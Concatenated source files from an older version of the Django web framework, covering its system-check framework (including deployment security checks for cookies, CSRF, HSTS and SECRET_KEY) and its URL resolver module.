E001 = Error(
    "You must define a '%s' cache in your CACHES setting." % DEFAULT_CACHE_ALIAS,
    id='caches.E001',
)


@register(Tags.caches)
def check_default_cache_is_configured(app_configs, **kwargs):
    if DEFAULT_CACHE_ALIAS not in settings.CACHES:
        return [E001]
    return []






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.utils.encoding import force_str, python_2_unicode_compatible

# Levels
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50


@python_2_unicode_compatible
class CheckMessage(object):

    def __init__(self, level, msg, hint=None, obj=None, id=None):
        assert isinstance(level, int), "The first argument should be level."
        self.level = level
        self.msg = msg
        self.hint = hint
        self.obj = obj
        self.id = id

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            all(getattr(self, attr) == getattr(other, attr)
                for attr in ['level', 'msg', 'hint', 'obj', 'id'])
        )

    def __ne__(self, other):
        return not (self == other)

    def __str__(self):
        from django.db import models

        if self.obj is None:
            obj = "?"
        elif isinstance(self.obj, models.base.ModelBase):
            # We need to hardcode ModelBase and Field cases because its __str__
            # method doesn't return "applabel.modellabel" and cannot be changed.
            obj = self.obj._meta.label
        else:
            obj = force_str(self.obj)
        id = "(%s) " % self.id if self.id else ""
        hint = "\n\tHINT: %s" % self.hint if self.hint else ''
        return "%s: %s%s%s" % (obj, id, self.msg, hint)

    def __repr__(self):
        return "<%s: level=%r, msg=%r, hint=%r, obj=%r, id=%r>" % \
            (self.__class__.__name__, self.level, self.msg, self.hint, self.obj, self.id)

    def is_serious(self, level=ERROR):
        return self.level >= level

    def is_silenced(self):
        from django.conf import settings
        return self.id in settings.SILENCED_SYSTEM_CHECKS


class Debug(CheckMessage):
    def __init__(self, *args, **kwargs):
        super(Debug, self).__init__(DEBUG, *args, **kwargs)


class Info(CheckMessage):
    def __init__(self, *args, **kwargs):
        super(Info, self).__init__(INFO, *args, **kwargs)


class Warning(CheckMessage):
    def __init__(self, *args, **kwargs):
        super(Warning, self).__init__(WARNING, *args, **kwargs)


class Error(CheckMessage):
    def __init__(self, *args, **kwargs):
        super(Error, self).__init__(ERROR, *args, **kwargs)


class Critical(CheckMessage):
    def __init__(self, *args, **kwargs):
        super(Critical, self).__init__(CRITICAL, *args, **kwargs)






from __future__ import unicode_literals

from django.conf import settings
from django.utils import six

from . import Error, Tags, Warning, register


@register(Tags.urls)
def check_url_config(app_configs, **kwargs):
    if getattr(settings, 'ROOT_URLCONF', None):
        from django.urls import get_resolver
        resolver = get_resolver()
        return check_resolver(resolver)
    return []


def check_resolver(resolver):
    """
    Recursively check the resolver.
    """
    from django.urls import RegexURLPattern, RegexURLResolver
    warnings = []
    for pattern in resolver.url_patterns:
        if isinstance(pattern, RegexURLResolver):
            warnings.extend(check_include_trailing_dollar(pattern))
            # Check resolver recursively
            warnings.extend(check_resolver(pattern))
        elif isinstance(pattern, RegexURLPattern):
            warnings.extend(check_pattern_name(pattern))
        else:
            # This is not a url() instance
            warnings.extend(get_warning_for_invalid_pattern(pattern))

        if not warnings:
            warnings.extend(check_pattern_startswith_slash(pattern))

    return warnings


def get_warning_for_invalid_pattern(pattern):
    """
    Return a list containing a warning that the pattern is invalid.

    describe_pattern() cannot be used here, because we cannot rely on the
    urlpattern having regex or name attributes.
    """
    if isinstance(pattern, six.string_types):
        hint = (
            "Try removing the string '{}'. The list of urlpatterns should not "
            "have a prefix string as the first element.".format(pattern)
        )
    elif isinstance(pattern, tuple):
        hint = "Try using url() instead of a tuple."
    else:
        hint = None

    return [Error(
        "Your URL pattern {!r} is invalid. Ensure that urlpatterns is a list "
        "of url() instances.".format(pattern),
        hint=hint,
        id="urls.E004",
    )]


def describe_pattern(pattern):
    """
    Format the URL pattern for display in warning messages.
    """
    description = "'{}'".format(pattern.regex.pattern)
    if getattr(pattern, 'name', False):
        description += " [name='{}']".format(pattern.name)
    return description


def check_include_trailing_dollar(pattern):
    """
    Check that include is not used with a regex ending with a dollar.
    """
    regex_pattern = pattern.regex.pattern
    if regex_pattern.endswith('$') and not regex_pattern.endswith('\$'):
        warning = Warning(
            "Your URL pattern {} uses include with a regex ending with a '$'. "
            "Remove the dollar from the regex to avoid problems including "
            "URLs.".format(describe_pattern(pattern)),
            id="urls.W001",
        )
        return [warning]
    else:
        return []


def check_pattern_startswith_slash(pattern):
    """
    Check that the pattern does not begin with a forward slash.
    """
    regex_pattern = pattern.regex.pattern
    if regex_pattern.startswith('/') or regex_pattern.startswith('^/'):
        warning = Warning(
            "Your URL pattern {} has a regex beginning with a '/'. "
            "Remove this slash as it is unnecessary.".format(describe_pattern(pattern)),
            id="urls.W002",
        )
        return [warning]
    else:
        return []


def check_pattern_name(pattern):
    """
    Check that the pattern name does not contain a colon.
    """
    if pattern.name is not None and ":" in pattern.name:
        warning = Warning(
            "Your URL pattern {} has a name including a ':'. Remove the colon, to "
            "avoid ambiguous namespace references.".format(describe_pattern(pattern)),
            id="urls.W003",
        )
        return [warning]
    else:
        return []






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .messages import (
    CRITICAL, DEBUG, ERROR, INFO, WARNING, CheckMessage, Critical, Debug,
    Error, Info, Warning,
)
from .registry import Tags, register, run_checks, tag_exists

# Import these to force registration of checks
import django.core.checks.caches  # NOQA isort:skip
import django.core.checks.compatibility.django_1_8_0  # NOQA isort:skip
import django.core.checks.compatibility.django_1_10  # NOQA isort:skip
import django.core.checks.database  # NOQA isort:skip
import django.core.checks.model_checks  # NOQA isort:skip
import django.core.checks.security.base  # NOQA isort:skip
import django.core.checks.security.csrf  # NOQA isort:skip
import django.core.checks.security.sessions  # NOQA isort:skip
import django.core.checks.templates  # NOQA isort:skip
import django.core.checks.urls  # NOQA isort:skip


__all__ = [
    'CheckMessage',
    'Debug', 'Info', 'Warning', 'Error', 'Critical',
    'DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL',
    'register', 'run_checks', 'tag_exists', 'Tags',
]






import copy

from django.conf import settings


def patch_middleware_message(error):
    if settings.MIDDLEWARE is None:
        error = copy.copy(error)
        error.msg = error.msg.replace('MIDDLEWARE', 'MIDDLEWARE_CLASSES')
    return error






from django.db import connections

from . import Tags, register


@register(Tags.database)
def check_database_backends(*args, **kwargs):
    issues = []
    for conn in connections.all():
        issues.extend(conn.validation.check(**kwargs))
    return issues






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import copy

from django.conf import settings
from django.utils import six

from . import Error, Tags, register

E001 = Error(
    "You have 'APP_DIRS': True in your TEMPLATES but also specify 'loaders' "
    "in OPTIONS. Either remove APP_DIRS or remove the 'loaders' option.",
    id='templates.E001',
)
E002 = Error(
    "'string_if_invalid' in TEMPLATES OPTIONS must be a string but got: {} ({}).",
    id="templates.E002",
)


@register(Tags.templates)
def check_setting_app_dirs_loaders(app_configs, **kwargs):
    passed_check = True
    for conf in settings.TEMPLATES:
        if not conf.get('APP_DIRS'):
            continue
        if 'loaders' in conf.get('OPTIONS', {}):
            passed_check = False
    return [] if passed_check else [E001]


@register(Tags.templates)
def check_string_if_invalid_is_string(app_configs, **kwargs):
    errors = []
    for conf in settings.TEMPLATES:
        string_if_invalid = conf.get('OPTIONS', {}).get('string_if_invalid', '')
        if not isinstance(string_if_invalid, six.string_types):
            error = copy.copy(E002)
            error.msg = error.msg.format(string_if_invalid, type(string_if_invalid).__name__)
            errors.append(error)
    return errors












from __future__ import unicode_literals

from django.conf import settings

from .. import Tags, Warning, register


@register(Tags.compatibility)
def check_duplicate_template_settings(app_configs, **kwargs):
    if settings.TEMPLATES:
        values = [
            'TEMPLATE_DIRS',
            'TEMPLATE_CONTEXT_PROCESSORS',
            'TEMPLATE_DEBUG',
            'TEMPLATE_LOADERS',
            'TEMPLATE_STRING_IF_INVALID',
        ]
        defined = [value for value in values if getattr(settings, value, None)]
        if defined:
            return [Warning(
                "The standalone TEMPLATE_* settings were deprecated in Django "
                "1.8 and the TEMPLATES dictionary takes precedence. You must "
                "put the values of the following settings into your default "
                "TEMPLATES dict: %s." % ", ".join(defined),
                id='1_8.W001',
            )]
    return []






from __future__ import unicode_literals

from django.conf import global_settings, settings

from .. import Tags, Warning, register


@register(Tags.compatibility)
def check_duplicate_middleware_settings(app_configs, **kwargs):
    if settings.MIDDLEWARE is not None and settings.MIDDLEWARE_CLASSES != global_settings.MIDDLEWARE_CLASSES:
        return [Warning(
            "The MIDDLEWARE_CLASSES setting is deprecated in Django 1.10 "
            "and the MIDDLEWARE setting takes precedence. Since you've set "
            "MIDDLEWARE, the value of MIDDLEWARE_CLASSES is ignored.",
            id='1_10.W001',
        )]
    return []






from django.conf import settings

from .. import Tags, Warning, register
from ..utils import patch_middleware_message


def add_session_cookie_message(message):
    return message + (
        " Using a secure-only session cookie makes it more difficult for "
        "network traffic sniffers to hijack user sessions."
    )

W010 = Warning(
    add_session_cookie_message(
        "You have 'django.contrib.sessions' in your INSTALLED_APPS, "
        "but you have not set SESSION_COOKIE_SECURE to True."
    ),
    id='security.W010',
)

W011 = Warning(
    add_session_cookie_message(
        "You have 'django.contrib.sessions.middleware.SessionMiddleware' "
        "in your MIDDLEWARE, but you have not set "
        "SESSION_COOKIE_SECURE to True."
    ),
    id='security.W011',
)

W012 = Warning(
    add_session_cookie_message("SESSION_COOKIE_SECURE is not set to True."),
    id='security.W012',
)


def add_httponly_message(message):
    return message + (
        " Using an HttpOnly session cookie makes it more difficult for "
        "cross-site scripting attacks to hijack user sessions."
    )


W013 = Warning(
    add_httponly_message(
        "You have 'django.contrib.sessions' in your INSTALLED_APPS, "
        "but you have not set SESSION_COOKIE_HTTPONLY to True.",
    ),
    id='security.W013',
)

W014 = Warning(
    add_httponly_message(
        "You have 'django.contrib.sessions.middleware.SessionMiddleware' "
        "in your MIDDLEWARE, but you have not set "
        "SESSION_COOKIE_HTTPONLY to True."
    ),
    id='security.W014',
)

W015 = Warning(
    add_httponly_message("SESSION_COOKIE_HTTPONLY is not set to True."),
    id='security.W015',
)


@register(Tags.security, deploy=True)
def check_session_cookie_secure(app_configs, **kwargs):
    errors = []
    if not settings.SESSION_COOKIE_SECURE:
        if _session_app():
            errors.append(W010)
        if _session_middleware():
            errors.append(patch_middleware_message(W011))
        if len(errors) > 1:
            errors = [W012]
    return errors


@register(Tags.security, deploy=True)
def check_session_cookie_httponly(app_configs, **kwargs):
    errors = []
    if not settings.SESSION_COOKIE_HTTPONLY:
        if _session_app():
            errors.append(W013)
        if _session_middleware():
            errors.append(patch_middleware_message(W014))
        if len(errors) > 1:
            errors = [W015]
    return errors


def _session_middleware():
    return ("django.contrib.sessions.middleware.SessionMiddleware" in settings.MIDDLEWARE_CLASSES or
            settings.MIDDLEWARE and "django.contrib.sessions.middleware.SessionMiddleware" in settings.MIDDLEWARE)


def _session_app():
    return "django.contrib.sessions" in settings.INSTALLED_APPS






from django.conf import settings

from .. import Tags, Warning, register
from ..utils import patch_middleware_message

SECRET_KEY_MIN_LENGTH = 50
SECRET_KEY_MIN_UNIQUE_CHARACTERS = 5

W001 = Warning(
    "You do not have 'django.middleware.security.SecurityMiddleware' "
    "in your MIDDLEWARE so the SECURE_HSTS_SECONDS, "
    "SECURE_CONTENT_TYPE_NOSNIFF, "
    "SECURE_BROWSER_XSS_FILTER, and SECURE_SSL_REDIRECT settings "
    "will have no effect.",
    id='security.W001',
)

W002 = Warning(
    "You do not have "
    "'django.middleware.clickjacking.XFrameOptionsMiddleware' in your "
    "MIDDLEWARE, so your pages will not be served with an "
    "'x-frame-options' header. Unless there is a good reason for your "
    "site to be served in a frame, you should consider enabling this "
    "header to help prevent clickjacking attacks.",
    id='security.W002',
)

W004 = Warning(
    "You have not set a value for the SECURE_HSTS_SECONDS setting. "
    "If your entire site is served only over SSL, you may want to consider "
    "setting a value and enabling HTTP Strict Transport Security. "
    "Be sure to read the documentation first; enabling HSTS carelessly "
    "can cause serious, irreversible problems.",
    id='security.W004',
)

W005 = Warning(
    "You have not set the SECURE_HSTS_INCLUDE_SUBDOMAINS setting to True. "
    "Without this, your site is potentially vulnerable to attack "
    "via an insecure connection to a subdomain. Only set this to True if "
    "you are certain that all subdomains of your domain should be served "
    "exclusively via SSL.",
    id='security.W005',
)

W006 = Warning(
    "Your SECURE_CONTENT_TYPE_NOSNIFF setting is not set to True, "
    "so your pages will not be served with an "
    "'x-content-type-options: nosniff' header. "
    "You should consider enabling this header to prevent the "
    "browser from identifying content types incorrectly.",
    id='security.W006',
)

W007 = Warning(
    "Your SECURE_BROWSER_XSS_FILTER setting is not set to True, "
    "so your pages will not be served with an "
    "'x-xss-protection: 1; mode=block' header. "
    "You should consider enabling this header to activate the "
    "browser's XSS filtering and help prevent XSS attacks.",
    id='security.W007',
)

W008 = Warning(
    "Your SECURE_SSL_REDIRECT setting is not set to True. "
    "Unless your site should be available over both SSL and non-SSL "
    "connections, you may want to either set this setting True "
    "or configure a load balancer or reverse-proxy server "
    "to redirect all connections to HTTPS.",
    id='security.W008',
)

W009 = Warning(
    "Your SECRET_KEY has less than %(min_length)s characters or less than "
    "%(min_unique_chars)s unique characters. Please generate a long and random "
    "SECRET_KEY, otherwise many of Django's security-critical features will be "
    "vulnerable to attack." % {
        'min_length': SECRET_KEY_MIN_LENGTH,
        'min_unique_chars': SECRET_KEY_MIN_UNIQUE_CHARACTERS,
    },
    id='security.W009',
)

W018 = Warning(
    "You should not have DEBUG set to True in deployment.",
    id='security.W018',
)

W019 = Warning(
    "You have "
    "'django.middleware.clickjacking.XFrameOptionsMiddleware' in your "
    "MIDDLEWARE, but X_FRAME_OPTIONS is not set to 'DENY'. "
    "The default is 'SAMEORIGIN', but unless there is a good reason for "
    "your site to serve other parts of itself in a frame, you should "
    "change it to 'DENY'.",
    id='security.W019',
)

W020 = Warning(
    "ALLOWED_HOSTS must not be empty in deployment.",
    id='security.W020',
)

W021 = Warning(
    "You have not set the SECURE_HSTS_PRELOAD setting to True. Without this, "
    "your site cannot be submitted to the browser preload list.",
    id='security.W021',
)


def _security_middleware():
    return ("django.middleware.security.SecurityMiddleware" in settings.MIDDLEWARE_CLASSES or
            settings.MIDDLEWARE and "django.middleware.security.SecurityMiddleware" in settings.MIDDLEWARE)


def _xframe_middleware():
    return ("django.middleware.clickjacking.XFrameOptionsMiddleware" in settings.MIDDLEWARE_CLASSES or
            settings.MIDDLEWARE and "django.middleware.clickjacking.XFrameOptionsMiddleware" in settings.MIDDLEWARE)


@register(Tags.security, deploy=True)
def check_security_middleware(app_configs, **kwargs):
    passed_check = _security_middleware()
    return [] if passed_check else [patch_middleware_message(W001)]


@register(Tags.security, deploy=True)
def check_xframe_options_middleware(app_configs, **kwargs):
    passed_check = _xframe_middleware()
    return [] if passed_check else [patch_middleware_message(W002)]


@register(Tags.security, deploy=True)
def check_sts(app_configs, **kwargs):
    passed_check = not _security_middleware() or settings.SECURE_HSTS_SECONDS
    return [] if passed_check else [W004]


@register(Tags.security, deploy=True)
def check_sts_include_subdomains(app_configs, **kwargs):
    passed_check = (
        not _security_middleware() or
        not settings.SECURE_HSTS_SECONDS or
        settings.SECURE_HSTS_INCLUDE_SUBDOMAINS is True
    )
    return [] if passed_check else [W005]


@register(Tags.security, deploy=True)
def check_sts_preload(app_configs, **kwargs):
    passed_check = (
        not _security_middleware() or
        not settings.SECURE_HSTS_SECONDS or
        settings.SECURE_HSTS_PRELOAD is True
    )
    return [] if passed_check else [W021]


@register(Tags.security, deploy=True)
def check_content_type_nosniff(app_configs, **kwargs):
    passed_check = (
        not _security_middleware() or
        settings.SECURE_CONTENT_TYPE_NOSNIFF is True
    )
    return [] if passed_check else [W006]


@register(Tags.security, deploy=True)
def check_xss_filter(app_configs, **kwargs):
    passed_check = (
        not _security_middleware() or
        settings.SECURE_BROWSER_XSS_FILTER is True
    )
    return [] if passed_check else [W007]


@register(Tags.security, deploy=True)
def check_ssl_redirect(app_configs, **kwargs):
    passed_check = (
        not _security_middleware() or
        settings.SECURE_SSL_REDIRECT is True
    )
    return [] if passed_check else [W008]


@register(Tags.security, deploy=True)
def check_secret_key(app_configs, **kwargs):
    passed_check = (
        getattr(settings, 'SECRET_KEY', None) and
        len(set(settings.SECRET_KEY)) >= SECRET_KEY_MIN_UNIQUE_CHARACTERS and
        len(settings.SECRET_KEY) >= SECRET_KEY_MIN_LENGTH
    )
    return [] if passed_check else [W009]


@register(Tags.security, deploy=True)
def check_debug(app_configs, **kwargs):
    passed_check = not settings.DEBUG
    return [] if passed_check else [W018]


@register(Tags.security, deploy=True)
def check_xframe_deny(app_configs, **kwargs):
    passed_check = (
        not _xframe_middleware() or
        settings.X_FRAME_OPTIONS == 'DENY'
    )
    return [] if passed_check else [patch_middleware_message(W019)]


@register(Tags.security, deploy=True)
def check_allowed_hosts(app_configs, **kwargs):
    return [] if settings.ALLOWED_HOSTS else [W020]












from django.conf import settings

from .. import Tags, Warning, register
from ..utils import patch_middleware_message

W003 = Warning(
    "You don't appear to be using Django's built-in "
    "cross-site request forgery protection via the middleware "
    "('django.middleware.csrf.CsrfViewMiddleware' is not in your "
    "MIDDLEWARE). Enabling the middleware is the safest approach "
    "to ensure you don't leave any holes.",
    id='security.W003',
)

W016 = Warning(
    "You have 'django.middleware.csrf.CsrfViewMiddleware' in your "
    "MIDDLEWARE, but you have not set CSRF_COOKIE_SECURE to True. "
    "Using a secure-only CSRF cookie makes it more difficult for network "
    "traffic sniffers to steal the CSRF token.",
    id='security.W016',
)

W017 = Warning(
    "You have 'django.middleware.csrf.CsrfViewMiddleware' in your "
    "MIDDLEWARE, but you have not set CSRF_COOKIE_HTTPONLY to True. "
    "Using an HttpOnly CSRF cookie makes it more difficult for cross-site "
    "scripting attacks to steal the CSRF token.",
    id='security.W017',
)


def _csrf_middleware():
    return ("django.middleware.csrf.CsrfViewMiddleware" in settings.MIDDLEWARE_CLASSES or
            settings.MIDDLEWARE and "django.middleware.csrf.CsrfViewMiddleware" in settings.MIDDLEWARE)


@register(Tags.security, deploy=True)
def check_csrf_middleware(app_configs, **kwargs):
    passed_check = _csrf_middleware()
    return [] if passed_check else [patch_middleware_message(W003)]


@register(Tags.security, deploy=True)
def check_csrf_cookie_secure(app_configs, **kwargs):
    passed_check = (
        not _csrf_middleware() or
        settings.CSRF_COOKIE_SECURE
    )
    return [] if passed_check else [patch_middleware_message(W016)]


@register(Tags.security, deploy=True)
def check_csrf_cookie_httponly(app_configs, **kwargs):
    passed_check = (
        not _csrf_middleware() or
        settings.CSRF_COOKIE_HTTPONLY
    )
    return [] if passed_check else [patch_middleware_message(W017)]






from __future__ import unicode_literals

from django.http import Http404


class Resolver404(Http404):
    pass


class NoReverseMatch(Exception):
    pass






"""
This module converts requested URLs to callback view functions.

RegexURLResolver is the main class here. Its resolve() method takes a URL (as
a string) and returns a ResolverMatch object which provides access to all
attributes of the resolved URL match.
"""
from __future__ import unicode_literals

import functools
import re
import threading
from importlib import import_module

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.utils import lru_cache, six
from django.utils.datastructures import MultiValueDict
from django.utils.encoding import force_str, force_text
from django.utils.functional import cached_property
from django.utils.http import RFC3986_SUBDELIMS, urlquote
from django.utils.regex_helper import normalize
from django.utils.translation import get_language

from .exceptions import NoReverseMatch, Resolver404
from .utils import get_callable


class ResolverMatch(object):
    def __init__(self, func, args, kwargs, url_name=None, app_names=None, namespaces=None):
        self.func = func
        self.args = args
        self.kwargs = kwargs
        self.url_name = url_name

        # If a URLRegexResolver doesn't have a namespace or app_name, it passes
        # in an empty value.
        self.app_names = [x for x in app_names if x] if app_names else []
        self.app_name = ':'.join(self.app_names)
        self.namespaces = [x for x in namespaces if x] if namespaces else []
        self.namespace = ':'.join(self.namespaces)

        if not hasattr(func, '__name__'):
            # A class-based view
            self._func_path = '.'.join([func.__class__.__module__, func.__class__.__name__])
        else:
            # A function-based view
            self._func_path = '.'.join([func.__module__, func.__name__])

        view_path = url_name or self._func_path
        self.view_name = ':'.join(self.namespaces + [view_path])

    def __getitem__(self, index):
        return (self.func, self.args, self.kwargs)[index]

    def __repr__(self):
        return "ResolverMatch(func=%s, args=%s, kwargs=%s, url_name=%s, app_names=%s, namespaces=%s)" % (
            self._func_path, self.args, self.kwargs, self.url_name,
            self.app_names, self.namespaces,
        )


@lru_cache.lru_cache(maxsize=None)
def get_resolver(urlconf=None):
    if urlconf is None:
        from django.conf import settings
        urlconf = settings.ROOT_URLCONF
    return RegexURLResolver(r'^/', urlconf)


@lru_cache.lru_cache(maxsize=None)
def get_ns_resolver(ns_pattern, resolver):
    # Build a namespaced resolver for the given parent URLconf pattern.
    # This makes it possible to have captured parameters in the parent
    # URLconf pattern.
    ns_resolver = RegexURLResolver(ns_pattern, resolver.url_patterns)
    return RegexURLResolver(r'^/', [ns_resolver])


class LocaleRegexProvider(object):
    """
    A mixin to provide a default regex property which can vary by active
    language.
    """
    def __init__(self, regex):
        # regex is either a string representing a regular expression, or a
        # translatable string (using ugettext_lazy) representing a regular
        # expression.
        self._regex = regex
        self._regex_dict = {}

    @property
    def regex(self):
        """
        Return a compiled regular expression based on the activate language.
        """
        language_code = get_language()
        if language_code not in self._regex_dict:
            regex = self._regex if isinstance(self._regex, six.string_types) else force_text(self._regex)
            try:
                compiled_regex = re.compile(regex, re.UNICODE)
            except re.error as e:
                raise ImproperlyConfigured(
                    '"%s" is not a valid regular expression: %s' %
                    (regex, six.text_type(e))
                )
            self._regex_dict[language_code] = compiled_regex
        return self._regex_dict[language_code]


class RegexURLPattern(LocaleRegexProvider):
    def __init__(self, regex, callback, default_args=None, name=None):
        LocaleRegexProvider.__init__(self, regex)
        self.callback = callback  # the view
        self.default_args = default_args or {}
        self.name = name

    def __repr__(self):
        return force_str('<%s %s %s>' % (self.__class__.__name__, self.name, self.regex.pattern))

    def resolve(self, path):
        match = self.regex.search(path)
        if match:
            # If there are any named groups, use those as kwargs, ignoring
            # non-named groups. Otherwise, pass all non-named arguments as
            # positional arguments.
            kwargs = match.groupdict()
            args = () if kwargs else match.groups()
            # In both cases, pass any extra_kwargs as **kwargs.
            kwargs.update(self.default_args)
            return ResolverMatch(self.callback, args, kwargs, self.name)

    @cached_property
    def lookup_str(self):
        """
        A string that identifies the view (e.g. 'path.to.view_function' or
        'path.to.ClassBasedView').
        """
        callback = self.callback
        # Python 3.5 collapses nested partials, so can change "while" to "if"
        # when it's the minimum supported version.
        while isinstance(callback, functools.partial):
            callback = callback.func
        if not hasattr(callback, '__name__'):
            return callback.__module__ + "." + callback.__class__.__name__
        elif six.PY3:
            return callback.__module__ + "." + callback.__qualname__
        else:
            # PY2 does not support __qualname__
            return callback.__module__ + "." + callback.__name__


class RegexURLResolver(LocaleRegexProvider):
    def __init__(self, regex, urlconf_name, default_kwargs=None, app_name=None, namespace=None):
        LocaleRegexProvider.__init__(self, regex)
        # urlconf_name is the dotted Python path to the module defining
        # urlpatterns. It may also be an object with an urlpatterns attribute
        # or urlpatterns itself.
        self.urlconf_name = urlconf_name
        self.callback = None
        self.default_kwargs = default_kwargs or {}
        self.namespace = namespace
        self.app_name = app_name
        self._reverse_dict = {}
        self._namespace_dict = {}
        self._app_dict = {}
        # set of dotted paths to all functions and classes that are used in
        # urlpatterns
        self._callback_strs = set()
        self._populated = False
        self._local = threading.local()

    def __repr__(self):
        if isinstance(self.urlconf_name, list) and len(self.urlconf_name):
            # Don't bother to output the whole list, it can be huge
            urlconf_repr = '<%s list>' % self.urlconf_name[0].__class__.__name__
        else:
            urlconf_repr = repr(self.urlconf_name)
        return str('<%s %s (%s:%s) %s>') % (
            self.__class__.__name__, urlconf_repr, self.app_name,
            self.namespace, self.regex.pattern,
        )

    def _populate(self):
        # Short-circuit if called recursively in this thread to prevent
        # infinite recursion. Concurrent threads may call this at the same
        # time and will need to continue, so set 'populating' on a
        # thread-local variable.
        if getattr(self._local, 'populating', False):
            return
        self._local.populating = True
        lookups = MultiValueDict()
        namespaces = {}
        apps = {}
        language_code = get_language()
        for pattern in reversed(self.url_patterns):
            if isinstance(pattern, RegexURLPattern):
                self._callback_strs.add(pattern.lookup_str)
            p_pattern = pattern.regex.pattern
            if p_pattern.startswith('^'):
                p_pattern = p_pattern[1:]
            if isinstance(pattern, RegexURLResolver):
                if pattern.namespace:
                    namespaces[pattern.namespace] = (p_pattern, pattern)
                    if pattern.app_name:
                        apps.setdefault(pattern.app_name, []).append(pattern.namespace)
                else:
                    parent_pat = pattern.regex.pattern
                    for name in pattern.reverse_dict:
                        for matches, pat, defaults in pattern.reverse_dict.getlist(name):
                            new_matches = normalize(parent_pat + pat)
                            lookups.appendlist(
                                name,
                                (
                                    new_matches,
                                    p_pattern + pat,
                                    dict(defaults, **pattern.default_kwargs),
                                )
                            )
                    for namespace, (prefix, sub_pattern) in pattern.namespace_dict.items():
                        namespaces[namespace] = (p_pattern + prefix, sub_pattern)
                    for app_name, namespace_list in pattern.app_dict.items():
                        apps.setdefault(app_name, []).extend(namespace_list)
                if not getattr(pattern._local, 'populating', False):
                    pattern._populate()
                self._callback_strs.update(pattern._callback_strs)
            else:
                bits = normalize(p_pattern)
                lookups.appendlist(pattern.callback, (bits, p_pattern, pattern.default_args))
                if pattern.name is not None:
                    lookups.appendlist(pattern.name, (bits, p_pattern, pattern.default_args))
        self._reverse_dict[language_code] = lookups
        self._namespace_dict[language_code] = namespaces
        self._app_dict[language_code] = apps
        self._populated = True
        self._local.populating = False

    @property
    def reverse_dict(self):
        language_code = get_language()
        if language_code not in self._reverse_dict:
            self._populate()
        return self._reverse_dict[language_code]

    @property
    def namespace_dict(self):
        language_code = get_language()
        if language_code not in self._namespace_dict:
            self._populate()
        return self._namespace_dict[language_code]

    @property
    def app_dict(self):
        language_code = get_language()
        if language_code not in self._app_dict:
            self._populate()
        return self._app_dict[language_code]

    def _is_callback(self, name):
        if not self._populated:
            self._populate()
        return name in self._callback_strs

    def resolve(self, path):
        path = force_text(path)  # path may be a reverse_lazy object
        tried = []
        match = self.regex.search(path)
        if match:
            new_path = path[match.end():]
            for pattern in self.url_patterns:
                try:
                    sub_match = pattern.resolve(new_path)
                except Resolver404 as e:
                    sub_tried = e.args[0].get('tried')
                    if sub_tried is not None:
                        tried.extend([pattern] + t for t in sub_tried)
                    else:
                        tried.append([pattern])
                else:
                    if sub_match:
                        # Merge captured arguments in match with submatch
                        sub_match_dict = dict(match.groupdict(), **self.default_kwargs)
                        sub_match_dict.update(sub_match.kwargs)

                        # If there are *any* named groups, ignore all non-named groups.
                        # Otherwise, pass all non-named arguments as positional arguments.
                        sub_match_args = sub_match.args
                        if not sub_match_dict:
                            sub_match_args = match.groups() + sub_match.args

                        return ResolverMatch(
                            sub_match.func,
                            sub_match_args,
                            sub_match_dict,
                            sub_match.url_name,
                            [self.app_name] + sub_match.app_names,
                            [self.namespace] + sub_match.namespaces,
                        )
                    tried.append([pattern])
            raise Resolver404({'tried': tried, 'path': new_path})
        raise Resolver404({'path': path})

    @cached_property
    def urlconf_module(self):
        if isinstance(self.urlconf_name, six.string_types):
            return import_module(self.urlconf_name)
        else:
            return self.urlconf_name

    @cached_property
    def url_patterns(self):
        # urlconf_module might be a valid set of patterns, so we default to it
        patterns = getattr(self.urlconf_module, "urlpatterns", self.urlconf_module)
        try:
            iter(patterns)
        except TypeError:
            msg = (
                "The included URLconf '{name}' does not appear to have any "
                "patterns in it. If you see valid patterns in the file then "
                "the issue is probably caused by a circular import."
            )
            raise ImproperlyConfigured(msg.format(name=self.urlconf_name))
        return patterns

    def resolve_error_handler(self, view_type):
        callback = getattr(self.urlconf_module, 'handler%s' % view_type, None)
        if not callback:
            # No handler specified in file; use lazy import, since
            # django.conf.urls imports this file.
            from django.conf import urls
            callback = getattr(urls, 'handler%s' % view_type)
        return get_callable(callback), {}

    def reverse(self, lookup_view, *args, **kwargs):
        return self._reverse_with_prefix(lookup_view, '', *args, **kwargs)

    def _reverse_with_prefix(self, lookup_view, _prefix, *args, **kwargs):
        if args and kwargs:
            raise ValueError("Don't mix *args and **kwargs in call to reverse()!")
        text_args = [force_text(v) for v in args]
        text_kwargs = {k: force_text(v) for (k, v) in kwargs.items()}

        if not self._populated:
            self._populate()

        possibilities = self.reverse_dict.getlist(lookup_view)

        for possibility, pattern, defaults in possibilities:
            for result, params in possibility:
                if args:
                    if len(args) != len(params):
                        continue
                    candidate_subs = dict(zip(params, text_args))
                else:
                    if (set(kwargs.keys()) | set(defaults.keys()) != set(params) |
                            set(defaults.keys())):
                        continue
                    matches = True
                    for k, v in defaults.items():
                        if kwargs.get(k, v) != v:
                            matches = False
                            break
                    if not matches:
                        continue
                    candidate_subs = text_kwargs
                # WSGI provides decoded URLs, without %xx escapes, and the URL
                # resolver operates on such URLs. First substitute arguments
                # without quoting to build a decoded URL and look for a match.
                # Then, if we have a match, redo the substitution with quoted
                # arguments in order to return a properly encoded URL.
                candidate_pat = _prefix.replace('%', '%%') + result
                if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % candidate_subs, re.UNICODE):
                    # safe characters from `pchar` definition of RFC 3986
                    url = urlquote(candidate_pat % candidate_subs, safe=RFC3986_SUBDELIMS + str('/~:@'))
                    # Don't allow construction of scheme relative urls.
                    if url.startswith('//'):
                        url = '/%%2F%s' % url[2:]
                    return url
        # lookup_view can be URL name or callable, but callables are not
        # friendly in error messages.
        m = getattr(lookup_view, '__module__', None)
        n = getattr(lookup_view, '__name__', None)
        if m is not None and n is not None:
            lookup_view_s = "%s.%s" % (m, n)
        else:
            lookup_view_s = lookup_view

        patterns = [pattern for (possibility, pattern, defaults) in possibilities]
        raise NoReverseMatch(
            "Reverse for '%s' with arguments '%s' and keyword "
            "arguments '%s' not found. %d pattern(s) tried: %s" %
            (lookup_view_s, args, kwargs, len(patterns), patterns)
        )


